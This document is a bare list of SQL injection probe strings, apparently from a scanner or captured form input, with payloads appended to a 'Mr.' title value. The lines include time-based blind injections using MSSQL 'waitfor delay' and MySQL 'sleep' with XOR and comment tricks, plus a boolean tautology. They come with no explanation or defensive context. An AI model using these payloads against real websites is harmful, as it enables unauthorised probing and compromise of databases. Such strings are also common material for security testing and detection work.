Mr.-1 waitfor delay '0:0:15' --

Mr.gbUio6Fe'; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1' OR 2+655-655-1=0+0+0+1 --

Mr.0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z